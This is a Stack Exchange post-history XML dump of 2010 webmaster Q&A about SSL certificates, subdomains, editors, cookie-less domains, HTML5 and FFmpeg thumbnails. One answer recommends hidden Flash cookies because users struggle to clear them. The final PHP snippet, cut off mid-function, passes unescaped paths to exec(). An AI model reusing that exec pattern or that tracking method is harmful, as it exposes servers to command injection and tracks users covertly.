  <row Id="3235" PostHistoryTypeId="16" PostId="1732" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-30T09:07:01.397" UserId="55" />
  <row Id="3236" PostHistoryTypeId="16" PostId="1744" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-30T09:07:01.397" UserId="55" />
  <row Id="3237" PostHistoryTypeId="16" PostId="1728" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-30T09:07:01.397" UserId="55" />
  <row Id="3238" PostHistoryTypeId="2" PostId="1745" RevisionGUID="f87cbc4d-92a2-4b42-8631-308201c0e4ec" CreationDate="2010-07-30T09:18:59.457" UserId="55" Text="Certificates are priced and issued depending on your need. Lower end certificates are good for simply providing an encrypted connection for your visitors, useful when you collect personally identifiable information that is not financially related. The verification process to get one of these is usually very simple:&#xD;&#xA;&#xD;&#xA; - The certificate company looks up the contact e-mail for your domain (via whois)&#xD;&#xA; - The certificate company sends you an e-mail to verify the SSL request&#xD;&#xA; - You verify the request and they deliver your cert shortly after&#xD;&#xA;&#xD;&#xA;If your site is e-commerce related, where users have to put in credit card / bank information to complete transactions (even if you don't store it, which I hope you would not), the certificate needs to do more than just encrypt the connection, it needs to verify the identity of your company. These certificates are of a higher grade, and require more work to verify before being issued. Hence, they are considerably more expensive.&#xD;&#xA;&#xD;&#xA;Any SSL certificate provider is going to offer both kinds, and more. Your decision, however should be mostly based on browser compatibility. Don't go for something $20 less just to find out that it doesn't work with an older version of IE or Safari. You'd be amazed how many people still actually use IE6. The flip side of that is ensure compatibility with newer browsers, such as Google Chrome.&#xD;&#xA;&#xD;&#xA;RapidSSL or GeoTrust is usually a good place to start, or your hosting / registrar company may offer them to existing customers at a slightly lower cost. Just make sure that you buy one that is appropriate for the scenario at hand." />
  <row Id="3239" PostHistoryTypeId="5" PostId="1743" RevisionGUID="9de22768-ba05-4c76-83f2-c47f70a193fd" CreationDate="2010-07-30T09:54:14.877" UserId="480" Comment="added 249 characters in body" Text="In our experience here (which is mostly UK-only) users will type in a sub-domain, however they will leave off anything after the domain (like folders). The forward-slash is cumbersome in use as general site visitors get confused with back slashes and just visit the main site to try and find what they want - completely ignoring the rest of the URL.&#xD;&#xA;&#xD;&#xA;Having said that though - we also have a glut of users who, despite instruction to the contrary, will **always** type in www. before any domain that is given.&#xD;&#xA;&#xD;&#xA;Our simple advice would be to use sub-domains but also create www. sub-domains hanging off each entry.&#xD;&#xA;&#xD;&#xA;Just using folders gives off the false impression that there is little isolation between customers. Also sub-domains will allow you to vary by IP address so that if certain customers demand more resources they can be given isolated servers, etc." />
  <row Id="3240" PostHistoryTypeId="2" PostId="1746" RevisionGUID="44bd09a1-f597-49a0-96a1-24dce8883959" CreationDate="2010-07-30T10:02:54.250" UserId="55" Text="I usually go with `secure.domain.com` because it gives me more flexibility as far as administration. For instance, I can put that subdomain on another server, behind some better IDS/IPS gear and possibly attach it to a private network that I don't want the web servers touching.&#xD;&#xA;&#xD;&#xA;Its a good place to park multi purpose things, such as:&#xD;&#xA;&#xD;&#xA; - secure.domain.com/checkout/&#xD;&#xA; - secure.domain.com/portal/&#xD;&#xA; - secure.domain.com/support/&#xD;&#xA;&#xD;&#xA;... etc.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3242" PostHistoryTypeId="2" PostId="1747" RevisionGUID="59bbbb78-91ad-4dc9-8efc-1d8743486ad2" CreationDate="2010-07-30T10:58:56.157" UserId="1082" Text="If you are just trying to secure your connection you want to get the cheapest cert you can find.&#xD;&#xA;&#xD;&#xA;At GoDaddy ssl cert only cost $30 a year which is cheaper than anywhere else I have found and they have a nice manager app and they work well in all browsers.&#xD;&#xA;&#xD;&#xA;I have also found that if you search for ssl certificate in google you can find an ad from GoDaddy that offers the cert for even less ($12.99) a year.&#xD;&#xA;&#xD;&#xA;When I build sites and all I need is the encryption for logins or a secure form this is what I use.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3243" PostHistoryTypeId="2" PostId="1748" RevisionGUID="c324fcf8-273c-4165-b2b8-08902b625825" CreationDate="2010-07-30T11:56:40.067" UserId="205" Text="For small websites you can create a Google Docs account for your customer and have a document for each web page.  If you enable sharing on the document, then you can pull it from the server-side and display it in their website.  To them, all they see is the Google editor and their changes immediately become live when they reload their website." />
  <row Id="3244" PostHistoryTypeId="2" PostId="1749" RevisionGUID="06e91218-786d-4823-af08-59f03688abe3" CreationDate="2010-07-30T13:45:21.623" UserId="108" Text="What @MetalShark said. I would go with subdomains 100%.  &#xD;&#xA;&#xD;&#xA;Subdomains is a more scalable solutions because you can load balance and segregate customers more easily.&#xD;&#xA;&#xD;&#xA;Also, I think many non-tech savvy people don't understand that www.theircompanyname.yourcompanyname.com is actually hosted by you and not them.  That means they are more willing to trust a subdomain that looks like their sites URL with yours tacked on to the end.  It also disassociates your site which is about selling your product from their subdomain which is about them using your product.&#xD;&#xA;&#xD;&#xA;I think beyond scalability  using subdomains will make your customers feel more comfortable with using your software and that is a huge plus." />
  <row Id="3245" PostHistoryTypeId="5" PostId="1728" RevisionGUID="e64e8e15-56f1-45d4-aeab-f2bcbb898158" CreationDate="2010-07-30T13:51:15.480" UserId="108" Comment="Made English Good." Text="I used to play around with CSS and 5 years later here I am. I don't have a clue of what CSS means now-a-days.&#xD;&#xA;&#xD;&#xA;I was wondering if you guys knows what the best resources and books are to learn CSS. I would like books that cover the basics and a little advanced.&#xD;&#xA;&#xD;&#xA;1 answer per post please.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="3248" PostHistoryTypeId="2" PostId="1751" RevisionGUID="f34a4795-a8be-4b3f-ad11-c649a5fd7bb0" CreationDate="2010-07-30T14:21:55.110" UserId="43" Text="I would **avoid** 1and1.  Proprietary control panel, limited phpMyAdmin interface, and outsourced tech support have made them a huge headache for me.  I'm in the process of switching (to Hostgator) right now." />
  <row Id="3249" PostHistoryTypeId="16" PostId="1751" RevisionGUID="f34a4795-a8be-4b3f-ad11-c649a5fd7bb0" CreationDate="2010-07-30T14:21:55.110" UserId="-1" />
  <row Id="3250" PostHistoryTypeId="19" PostId="1661" RevisionGUID="e996b435-9ba6-4368-8393-7ce29bef1c8b" CreationDate="2010-07-30T14:24:46.787" UserId="55" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
  <row Id="3251" PostHistoryTypeId="2" PostId="1752" RevisionGUID="bbb67572-f62a-49ae-a1d1-db1ba0ff46a6" CreationDate="2010-07-30T14:33:39.743" UserId="236" Text="When Putting in a place for users to put it content, (for example, posting a question,answer or comment on this site) What are some things to consider when deciding to use some form of WYSIWYG editor, some form of BBC like markup, or just giving users a plain textarea to work with?" />
  <row Id="3252" PostHistoryTypeId="1" PostId="1752" RevisionGUID="bbb67572-f62a-49ae-a1d1-db1ba0ff46a6" CreationDate="2010-07-30T14:33:39.743" UserId="236" Text="WYSIWYG vs. BBC Code vs. Plain Text" />
  <row Id="3253" PostHistoryTypeId="3" PostId="1752" RevisionGUID="bbb67572-f62a-49ae-a1d1-db1ba0ff46a6" CreationDate="2010-07-30T14:33:39.743" UserId="236" Text="&lt;wysiwyg&gt;&lt;user-input&gt;" />
  <row Id="3254" PostHistoryTypeId="2" PostId="1753" RevisionGUID="4778d8a4-a946-400d-9bb8-90d448f29f7c" CreationDate="2010-07-30T14:41:31.910" UserId="55" Text="I think SO's minimal editor with markdown syntax has been remarkably effective for the purpose that it serves.&#xD;&#xA;&#xD;&#xA;In my opinion, the less HTML you have to deal with in submitted data, the better. Unless users need to organize and post data in tables or something, I really don't see the need for a WYSIWYG editor.&#xD;&#xA;&#xD;&#xA;The common tags that you'll want to allow are:&#xD;&#xA;&#xD;&#xA;    &lt;a&gt;&#xD;&#xA;    &lt;blockquote&gt;&#xD;&#xA;    &lt;pre&gt;&#xD;&#xA;    &lt;b&gt;&#xD;&#xA;    &lt;i&gt;&#xD;&#xA;    &lt;sup&gt;&#xD;&#xA;    &lt;sub&gt;&#xD;&#xA;    &lt;ul&gt;&#xD;&#xA;    &lt;ol&gt;&#xD;&#xA;    &lt;li&gt;&#xD;&#xA;    &lt;br&gt;&#xD;&#xA;    &lt;img&gt;&#xD;&#xA;&#xD;&#xA;Paragraph formatting is easily done on your side. With the exception of a few, markdown or creole can handle pretty much all of that, and validation / sanitation isn't as cumbersome on your end. BBCode is also fine, but not as flexible.&#xD;&#xA;&#xD;&#xA;Unless the user is authenticated / trusted somehow, you probably don't want them having at a WYSIWYG editor. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="3255" PostHistoryTypeId="2" PostId="1754" RevisionGUID="2df9f2ad-1fe2-4060-b2f0-cee14c1650f1" CreationDate="2010-07-30T15:41:13.867" UserId="1142" Text="[MogoTest][1] is a very recent TechStars startup that does this well. It provides screenshots from different browsers and OSes, and validates your HTML &amp; CSS, too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mogotest.com/" />
  <row Id="3256" PostHistoryTypeId="2" PostId="1755" RevisionGUID="5515cedd-cf73-4a3e-af82-6ecfe45590da" CreationDate="2010-07-30T15:57:12.347" UserId="1142" Text="Adding an invisible flash applet to your login page and using it to store a **Flash cookie** (95%+ browsers able to do so, much lesser known than regular cookies, much harder for most users to clear) on the user's machine would be a more persistent way of tracking and banning a user. See this StackExchange question that explores the subject:&#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/483678/javascript-bridge-to-flash-to-store-so-cookies-within-flash" />
  <row Id="3257" PostHistoryTypeId="2" PostId="1756" RevisionGUID="6210a5bc-0564-4e79-8f71-8230fb0b66a6" CreationDate="2010-07-30T16:03:25.513" UserId="1143" Text="One word: StartCom&#xD;&#xA;&#xD;&#xA;http://lmgtfy.com/?q=free-ssl-certificate" />
  <row Id="3258" PostHistoryTypeId="5" PostId="1753" RevisionGUID="ddae208b-dd2d-45ec-8940-b9e99cf770db" CreationDate="2010-07-30T16:20:31.830" UserId="55" Comment="added 136 characters in body" Text="I think SO's minimal editor with markdown syntax has been remarkably effective for the purpose that it serves.&#xD;&#xA;&#xD;&#xA;In my opinion, the less HTML you have to deal with in submitted data, the better. Unless users need to organize and post data in tables or something, I really don't see the need for a WYSIWYG editor.&#xD;&#xA;&#xD;&#xA;The common tags that you'll want to allow are:&#xD;&#xA;&#xD;&#xA;    &lt;a&gt;&#xD;&#xA;    &lt;blockquote&gt;&#xD;&#xA;    &lt;pre&gt;&#xD;&#xA;    &lt;b&gt;&#xD;&#xA;    &lt;i&gt;&#xD;&#xA;    &lt;sup&gt;&#xD;&#xA;    &lt;sub&gt;&#xD;&#xA;    &lt;ul&gt;&#xD;&#xA;    &lt;ol&gt;&#xD;&#xA;    &lt;li&gt;&#xD;&#xA;    &lt;br&gt;&#xD;&#xA;    &lt;img&gt;&#xD;&#xA;&#xD;&#xA;Paragraph formatting is easily done on your side. With the exception of a few, markdown or creole can handle pretty much all of that, and validation / sanitation isn't as cumbersome on your end. BBCode is also fine, but not as flexible.&#xD;&#xA;&#xD;&#xA;Unless the user is authenticated / trusted somehow, you probably don't want them having at a WYSIWYG editor. Even then, they should be ***really*** trusted, beyond just verifying their e-mail or something else that can be trivially accomplished.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3259" PostHistoryTypeId="2" PostId="1757" RevisionGUID="2cd272db-658c-4adb-9d4b-b1e9060368ee" CreationDate="2010-07-30T16:30:22.103" UserId="1144" Text="A lot of people will say that it depends on your users and if your users are using IE 6 you need to support it.&#xD;&#xA;&#xD;&#xA;This is true, but you should stop supporting IE 6 anyway.&#xD;&#xA;&#xD;&#xA;Build a site that relies heavily on ajax, jquery, javascript, etc..&#xD;&#xA;&#xD;&#xA;Load it up in IE 6 and then load it in Chrome.&#xD;&#xA;&#xD;&#xA;Watch their jaws drop as they see how fast chrome is.&#xD;&#xA;&#xD;&#xA;Then inform them of how poor the security of IE 6 is and how much of a cost it is to have designers and developers bend over backwards to get it tow ork on IE6.&#xD;&#xA;&#xD;&#xA;If they still don't care, then do what you need to, but at least you'll have tried." />
  <row Id="3260" PostHistoryTypeId="2" PostId="1758" RevisionGUID="d42bef97-5c94-4140-9c26-abe691ce2748" CreationDate="2010-07-30T18:07:36.720" UserId="1074" Text="I've run into SO many problems with Microsoft Word as a UI person who specializes in custom CMS solutions.  While many tools out there have &quot;paste from word&quot; features in them, I can't tell you how many times I've gotten calls late at night because a user &quot;forgot&quot; or &quot;refuses&quot; to use that feature.  Without additional post-processing to scrub the miles of gibberish that Word pastes can leave behind, I've even seen DB errors caused by an attempt to inject too much data into a record (on a commercially purchased solution I had to support, nonetheless)  My solution, in addition to Tidy, is to standardize on CKEditor because it is programmed to strip out Word markup whether the user &quot;pastes from word&quot; or simply drags-and-drops.  Additional post processing and escaping is enabled to protect from injection, spelling errors, flagged keywords and disallowed HTML.&#xD;&#xA;&#xD;&#xA;If you're going to give the user the ability to add &quot;extras&quot; to input, carefully consider what extras you're going to give them.  Out of the box, most editors have quite a bit that they probably shouldn't in the toolbar.  For that reason, BBCode has been something I've pondered many many times.  However, for some reason I just keep being drawn back to WYSIWYG because of the &quot;awe&quot; factor it gets in sales meetings and its simplicity for the user (when all is well)" />
  <row Id="3261" PostHistoryTypeId="2" PostId="1759" RevisionGUID="91d25a90-ec9b-4e23-933d-de507fe41496" CreationDate="2010-07-30T18:46:56.550" UserId="26" Text="Generally, as few options as possible to allow your users to express their ideas. Some sites simply add **bold** and *italic* buttons and that works. Any other system will require a certain amount of training. Others to consider are the Markdown and Wikipedia syntaxes. It's also notable that many large sites simply don't allow any additional markup, for example, the Facebook activity stream." />
  <row Id="3262" PostHistoryTypeId="2" PostId="1760" RevisionGUID="9451942d-5f60-4c18-9a82-ae8defb4b3b8" CreationDate="2010-07-30T21:09:23.777" UserId="1074" Text="Can't miss the holy grail of video systems, FFMPEG.  It does just about everything you might need to in online video--take in multiple formats and convert to another, thumbnail, etc.  A heavily modified industrial variation of FFMPEG is what allows YouTube to work the way it does.&#xD;&#xA;&#xD;&#xA;Here's a quick command line tut for thumbnailing:  http://blog.prashanthellina.com/2008/03/29/creating-video-thumbnails-using-ffmpeg/&#xD;&#xA;&#xD;&#xA;There's many other tuts out there for all its other features." />
  <row Id="3263" PostHistoryTypeId="2" PostId="1761" RevisionGUID="c3201b12-3018-42eb-b09d-5c49568f3069" CreationDate="2010-07-30T21:19:18.083" UserId="1074" Text="I believe subdomains were concocted by marketing types so they didn't have to print (slightly) longer URLs in their expensive print campaigns.  They used their vast budgets to pay off a core group of techies who made it technically possible.  I say technically, because while we all know it can be done, it certainly isn't a fun task to setup on a large scale basis.&#xD;&#xA;&#xD;&#xA;SHH!  Don't tell the marketing types that non-techie users can't figure out that you drop the www...so by the time they add it on, you've just made your address longer.....and you've cost yourself extra man-hours doing workarounds to handle those non-techie types.&#xD;&#xA;&#xD;&#xA;I shudder to think about the day when my company's Marketing guy comes to us with a &quot;GREAT IDEA!&quot; about switching all our relevant folders over to subdomains.  Maybe that'll be a sign that it's time to wander across the street to the post office to inquire about a job delivering all the mail their print campaigns create...." />
  <row Id="3264" PostHistoryTypeId="2" PostId="1762" RevisionGUID="3202e556-2275-4afe-a0a6-9734f02c1d70" CreationDate="2010-07-30T21:47:40.293" UserId="1074" Text="Don't forget the concept of Domain Aging.  A new domain is naturally going to suffer a disadvantage.&#xD;&#xA;&#xD;&#xA;Can't emphasize enough how important I think following W3 standards and using semantic markup are." />
  <row Id="3265" PostHistoryTypeId="16" PostId="1762" RevisionGUID="3202e556-2275-4afe-a0a6-9734f02c1d70" CreationDate="2010-07-30T21:47:40.293" UserId="-1" />
  <row Id="3266" PostHistoryTypeId="2" PostId="1763" RevisionGUID="2887e44f-d4a0-4240-99cd-e5d1cb3485e1" CreationDate="2010-07-30T21:50:42.803" UserId="1108" Text="I found the first edition of CSS The Missing Manual (O'Reilly) a good accessible introduction.&#xD;&#xA;&#xD;&#xA;There is now a [second edition][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://oreilly.com/catalog/9780596802455/" />
  <row Id="3267" PostHistoryTypeId="16" PostId="1763" RevisionGUID="2887e44f-d4a0-4240-99cd-e5d1cb3485e1" CreationDate="2010-07-30T21:50:42.803" UserId="-1" />
  <row Id="3268" PostHistoryTypeId="2" PostId="1764" RevisionGUID="740d81d8-a65e-4682-b60e-4c6d98f1585c" CreationDate="2010-07-30T22:30:41.713" UserId="1074" Text="I personally support it with this on any sites that will let me:&#xD;&#xA;&#xD;&#xA;http://ie6update.com/&#xD;&#xA;&#xD;&#xA;Seriously, it is still a business requirement with many of my clients.  And who am I to argue with the people who pay the (bigger) bills?" />
  <row Id="3269" PostHistoryTypeId="2" PostId="1765" RevisionGUID="e871ba40-151d-405f-8032-49a8e4b1634b" CreationDate="2010-07-30T23:19:08.137" UserId="1111" Text="I just support IE5 &amp; 6 on commercial sites. On private sites I don't care...&#xD;&#xA;&#xD;&#xA;You can use reset css files to fix the box render differences." />
  <row Id="3270" PostHistoryTypeId="2" PostId="1766" RevisionGUID="d56efe16-c3ac-4af0-8542-f28ced0b7d56" CreationDate="2010-07-31T01:15:09.933" UserId="871" Text="Will using HTML5 semantic markup negatively effect my search rankings? I have read that using properly semantic markup, besides a general best practice, is also a white hat SEO technique. However since HTML5 is not quite yet finished, is using an element such as &lt;header&gt; and &lt;nav&gt; going to cause a penalty in search rankings?&#xD;&#xA;" />
  <row Id="3271" PostHistoryTypeId="1" PostId="1766" RevisionGUID="d56efe16-c3ac-4af0-8542-f28ced0b7d56" CreationDate="2010-07-31T01:15:09.933" UserId="871" Text="New HTML5 elements and search engine ranking impact?" />
  <row Id="3272" PostHistoryTypeId="3" PostId="1766" RevisionGUID="d56efe16-c3ac-4af0-8542-f28ced0b7d56" CreationDate="2010-07-31T01:15:09.933" UserId="871" Text="&lt;seo&gt;&lt;html5&gt;" />
  <row Id="3273" PostHistoryTypeId="2" PostId="1767" RevisionGUID="02de60c2-b725-486d-b07c-6919a1469b3f" CreationDate="2010-07-31T01:35:24.737" UserId="1111" Text="The Google Guidelines says, that they handle every subdomain as an &quot;other site&quot;. So you have to get good Backlinks for all subs. The PR of the main domain doesn't count for subdomains. So i would prefer Folders.&#xD;&#xA;&#xD;&#xA;Each modern httpd can work with aliases and/or apache with mod_proxy. So folders are also scalable, but it's a little more complex." />
  <row Id="3274" PostHistoryTypeId="2" PostId="1768" RevisionGUID="b0b0c587-b96f-4656-9217-f6290d28e5b1" CreationDate="2010-07-31T01:38:33.370" UserId="1111" Text="startssl.com is free and good supported. Maybe you wanna check this. Otherwise - like Sruly written - goDaddy is a cheap and good ssl provider." />
  <row Id="3275" PostHistoryTypeId="2" PostId="1769" RevisionGUID="66793116-efff-4414-bd9b-84dade5cefd1" CreationDate="2010-07-31T02:28:25.343" UserId="1111" Text="I use DenyHosts[1] on all my servers. DenyHosts disallow all IPs which failed to login after n times. You can also send notifications. So you have a great overview from which ips/hosts the logins came; and it also have a web update function and other great features. But it's still very simple to install.&#xD;&#xA;&#xD;&#xA;An other method is to disallow all IP Ranges/Blocks (in e.g.) from China or other countries which are not your targeted group. This can be done with online &quot;Blacklists&quot; or just with the hosts.deny file (like DenyHosts).&#xD;&#xA;&#xD;&#xA;[1] http://denyhosts.sourceforge.net/" />
  <row Id="3276" PostHistoryTypeId="2" PostId="1770" RevisionGUID="986a2f15-9f59-4019-98db-b99814a77cc4" CreationDate="2010-07-31T02:33:37.670" UserId="1111" Text="I also would say, you should use a backup disk. Almost every provider do this service for a low price. The &quot;pro&quot; is, the backups are fast. The &quot;contra&quot; is, you don't have full control over your backups (almost, not by every provider).&#xD;&#xA;&#xD;&#xA;An other, very nice and &quot;cheap&quot; solution is Acronis[1]. It's a clicky-clicky program, which can send you complete logs of the backup and it supports almost every storage.&#xD;&#xA;&#xD;&#xA;[1] http://www.acronis.com/homecomputing/" />
  <row Id="3277" PostHistoryTypeId="2" PostId="1771" RevisionGUID="64b52b65-ab74-4a2f-9705-b93467559ccc" CreationDate="2010-07-31T03:02:18.397" UserId="1111" Text="I don't think so. Googles has done much work on the new standard and she use it (with a fallback to flash*) on some pages. Youtube should be (or should come) with the html5 video tag.&#xD;&#xA;&#xD;&#xA;So my meaning is: No, it doesn't has any negative effects on your Google ratings. Don't know about Bing, etc. (Btw. thanks god, that the Yahoo crawler is dead. :-))" />
  <row Id="3278" PostHistoryTypeId="2" PostId="1772" RevisionGUID="cb6f75c5-c8e2-4117-a009-97a749086f08" CreationDate="2010-07-31T03:03:12.903" UserId="1079" Text="I've read that it's best to serve static content (css, javascript, etc.) from a cookie-less domain or subdomain for better performance.  I assume a domain is not cookie-less by default.  How do I specify that I don't want to use cookies?" />
  <row Id="3279" PostHistoryTypeId="1" PostId="1772" RevisionGUID="cb6f75c5-c8e2-4117-a009-97a749086f08" CreationDate="2010-07-31T03:03:12.903" UserId="1079" Text="How do I set up a cookie-less domain?" />
  <row Id="3280" PostHistoryTypeId="3" PostId="1772" RevisionGUID="cb6f75c5-c8e2-4117-a009-97a749086f08" CreationDate="2010-07-31T03:03:12.903" UserId="1079" Text="&lt;domains&gt;&lt;website-design&gt;&lt;cookie&gt;" />
  <row Id="3281" PostHistoryTypeId="2" PostId="1773" RevisionGUID="06bb0b5f-7150-47bb-a16e-b5015f1c2158" CreationDate="2010-07-31T03:28:28.917" UserDisplayName="delete" Text="&gt;  How do I specify that I don't want to&#xD;&#xA;&gt; use cookies?&#xD;&#xA;&#xD;&#xA;You don't have to specify that you don't want to use cookies, you just don't use them.&#xD;&#xA;" />
  <row Id="3282" PostHistoryTypeId="2" PostId="1774" RevisionGUID="c17c9155-ffd2-4280-a207-7f6e1a76c61a" CreationDate="2010-07-31T03:58:22.330" UserId="179" Text="When things like &lt;a href=&quot;http://developer.yahoo.com/yslow/&quot;&gt;YSlow&lt;/a&gt; and &lt;a href=&quot;http://code.google.com/speed/page-speed/&quot;&gt;Page Speed&lt;/a&gt; tell you to set up cookie-less domains, what they actually mean is serve media from a domain where you won't be setting any, or have not set any (globally) in the past. Sometimes this can be accomplished by using sub-domains, such as &lt;code&gt;media.domain.com&lt;/code&gt;, or &lt;code&gt;static.domain.com&lt;/code&gt;, however if you set a cookie on &lt;code&gt;domain.com&lt;/code&gt; that applies to the domain as a whole &amp;ndash; a cookie for &lt;code&gt;*.domain.com&lt;/code&gt; &amp;ndash; then this cookie will be sent by the client back to the server on every request for &lt;em&gt;every&lt;/em&gt; domain associated with &lt;code&gt;domain.com&lt;/code&gt;. This includes all sub-domains. &#xD;&#xA;&#xD;&#xA;The global cookie becomes an issue if you decide to forgo the use of &lt;code&gt;www.&lt;/code&gt; on your domains. Without a specific sub-domain to set a cookie for, all cookies must be set for &lt;code&gt;*.domain.com&lt;/code&gt; in order for them to work.&#xD;&#xA;&#xD;&#xA;This global cookie issue is why you will see static media served from places like &lt;code&gt;ytimg.com&lt;/code&gt; on YouTube. &lt;code&gt;ytimg.com&lt;/code&gt; will never serve dynamic content that can set cookies, which means no cookie for will ever be sent from the client back to the server when these domains are part of HTTP requests.&#xD;&#xA;&#xD;&#xA;If you are certain that you will never have a cookie set for &lt;code&gt;*.domain.com&lt;/code&gt; then you can use a sub-domain for your needs. Be aware that most of the time if you integrate with another site or service via Javascript, they will set global domain cookies." />
  <row Id="3283" PostHistoryTypeId="5" PostId="1774" RevisionGUID="0383873a-54d4-462e-9780-fe4d542a4e62" CreationDate="2010-07-31T04:07:13.853" UserId="179" Comment="added 758 characters in body" Text="When things like &lt;a href=&quot;http://developer.yahoo.com/yslow/&quot;&gt;YSlow&lt;/a&gt; and &lt;a href=&quot;http://code.google.com/speed/page-speed/&quot;&gt;Page Speed&lt;/a&gt; tell you to set up cookie-less domains, what they actually mean is serve media from a domain where you won't be setting any, or have not set any (globally) in the past. Sometimes this can be accomplished by using sub-domains, such as &lt;code&gt;media.domain.com&lt;/code&gt;, or &lt;code&gt;static.domain.com&lt;/code&gt;, however if you set a cookie on &lt;code&gt;domain.com&lt;/code&gt; that applies to the domain as a whole &amp;ndash; a cookie for &lt;code&gt;*.domain.com&lt;/code&gt; &amp;ndash; then this cookie will be sent by the client back to the server on every request for &lt;em&gt;every&lt;/em&gt; domain associated with &lt;code&gt;domain.com&lt;/code&gt;. This includes all sub-domains. &#xD;&#xA;&#xD;&#xA;The global cookie becomes an issue if you decide to forgo the use of &lt;code&gt;www.&lt;/code&gt; on your domains. Without a specific sub-domain to set a cookie for, all cookies must be set for &lt;code&gt;*.domain.com&lt;/code&gt; in order for them to work.&#xD;&#xA;&#xD;&#xA;This global cookie issue is why you will see static media served from places like &lt;code&gt;ytimg.com&lt;/code&gt; on YouTube. &lt;code&gt;ytimg.com&lt;/code&gt; will never serve dynamic content that can set cookies, which means no cookie for will ever be sent from the client back to the server when these domains are part of HTTP requests.&#xD;&#xA;&#xD;&#xA;If you are certain that you will never have a cookie set for &lt;code&gt;*.domain.com&lt;/code&gt; then you can use a sub-domain for your needs. Be aware that most of the time if you integrate with another site or service via Javascript, they will set global domain cookies.&#xD;&#xA;&#xD;&#xA;In Apache (and I'm sure every other webserver) you can set or unset headers before requests are answered. This will not fix the issue of the client sending the cookie to your server, but it will keep your domains from ever sending or initially setting cookies. Only a problem if you serve content that isn't static from your cookie-less domains, which defeats their purpose. &#xD;&#xA;&#xD;&#xA;    Header unset Cookie&#xD;&#xA;    Header unset Set-Cookie &#xD;&#xA;&#xD;&#xA;This will unset the headers for existing cookies and for creating new cookies. Again, only an issue if you serve content from your static domains that could potentially set a cookie. Place this in your site or virtualhost's configuration (which depending on your OS, server, and version could be any number of places)." />
  <row Id="3284" PostHistoryTypeId="2" PostId="1775" RevisionGUID="3d021d17-8725-47a2-91d8-55f2ea3bd7f5" CreationDate="2010-07-31T04:27:39.280" UserId="120" Text="**Do both...**&#xD;&#xA;&#xD;&#xA;Sub domains are great in that they are easier to type and easier to remember but the extra level of complexity and maintenance required to use them may be more work than you're willing to do.&#xD;&#xA;&#xD;&#xA;Instead of setting up 'proper' subdomains just use URLRewrite to fake it. &#xD;&#xA;&#xD;&#xA;See [this answer on stackoverflow.com][1] to see what I mean.&#xD;&#xA;&#xD;&#xA;As an example, look at Google analytics. If you type in analytics.google.com it pushes you to http://www.google.com/analytics/.&#xD;&#xA;&#xD;&#xA;The only time I would suggest using subdomains would be if:&#xD;&#xA;&#xD;&#xA; - you're running separate servers under the same domain name (Ex. mail.yourwebsite.com, ftp.yourwebsite.com, etc).&#xD;&#xA; - your site is a network portal for a bunch of other websites (Ex. blogger where each users blog resides in a sub-domain of blogger).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/961963/internal-subdomain-to-folder-redirect" />
  <row Id="3285" PostHistoryTypeId="2" PostId="1776" RevisionGUID="b822470c-a29e-4e4a-9791-50e9447767bf" CreationDate="2010-07-31T04:32:12.040" UserId="179" Text="Using &lt;em&gt;properly constructed&lt;/em&gt; HTML5 will help your rankings, and improve your site's accessibility. Given identical semantics (in a prefect world), it will rank no better or worse based solely on semantics than an HTML4 or XHTML1 site. However, using HTML5 properly will improve your semantics simply by the nature of its design.&#xD;&#xA;&#xD;&#xA;Google has put a lot of money and engineering effort into HTML5, including launching the site &lt;a href=&quot;http://html5rocks.com&quot;&gt;HTML5Rocks.com&lt;/a&gt;. The more semantically correct your code is, the better your rankings will be for the subject of your site. &#xD;&#xA;&#xD;&#xA;Additionally, if properly constructed, HTML5 makes your site faster to render and generally smaller to download, improving page speed (which was recently added to Google's ranking algorithm).&#xD;&#xA;&#xD;&#xA;As an &lt;code&gt;&amp;lt;aside&amp;gt;&lt;/code&gt; (haha HTML5 humor) Google has for quite a while &lt;a href=&quot;http://www.youtube.com/watch?v=GIn5qJKU8VM&quot;&gt;supported multiple &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt; tags&lt;/a&gt; on a page. In HTML5 this is encouraged with &lt;code&gt;&amp;lt;section&amp;gt;&lt;/code&gt; and friends &lt;em&gt;when it's semantically appropriate&lt;/em&gt;. Don't stress about trying to balance SEO with semantics on this one.&#xD;&#xA;&#xD;&#xA;This whole answer assumes that the content of your site is worthwhile. And that you're using all of the HTML5 elements properly." />
  <row Id="3286" PostHistoryTypeId="2" PostId="1777" RevisionGUID="017ffacf-a6d8-417a-b5c0-81bf8e4ecd49" CreationDate="2010-07-31T04:52:43.920" UserId="120" Text="I have already answered how to do this on Stack Overflow [here][1] using ffmpeg and PHP. &#xD;&#xA;&#xD;&#xA;Sorry about the code-centric answer but doing this in a batch process is most easily done by writing some actual code.&#xD;&#xA;&#xD;&#xA;    /**&#xD;&#xA;    * ExtractThumb, extracts a thumbnail from a video&#xD;&#xA;    *&#xD;&#xA;    * This function loads a video and extracts an image from a frame 4 &#xD;&#xA;    * seconds into the clip&#xD;&#xA;    * @param $in string the input path to the video being processed&#xD;&#xA;    * @param $out string the path where the output image is saved&#xD;&#xA;    */&#xD;&#xA;    function ExtractThumb($in, $out)&#xD;&#xA;    {&#xD;&#xA;        $thumb_stdout;&#xD;&#xA;        $errors;&#xD;&#xA;        $retval = 0;&#xD;&#xA;&#xD;&#xA;        // Delete the file if it already exists&#xD;&#xA;        if (file_exists($out)) { unlink($out); }&#xD;&#xA;&#xD;&#xA;        // Use ffmpeg to generate a thumbnail from the movie&#xD;&#xA;        $cmd = &quot;ffmpeg -itsoffset -4 -i $in -vcodec mjpeg -vframes 1 -an -f rawvideo -s 320x240 $out 2&gt;&amp;1&quot;;&#xD;&#xA;        exec($cmd, $thumb_stdout, $retval);&#xD;&#xA;&#xD;&#xA;        // Queue up the error for processing&#xD;&#xA;        if ($retval != 0) { $errors[] = &quot;FFMPEG thumbnail generation failed&quot;; 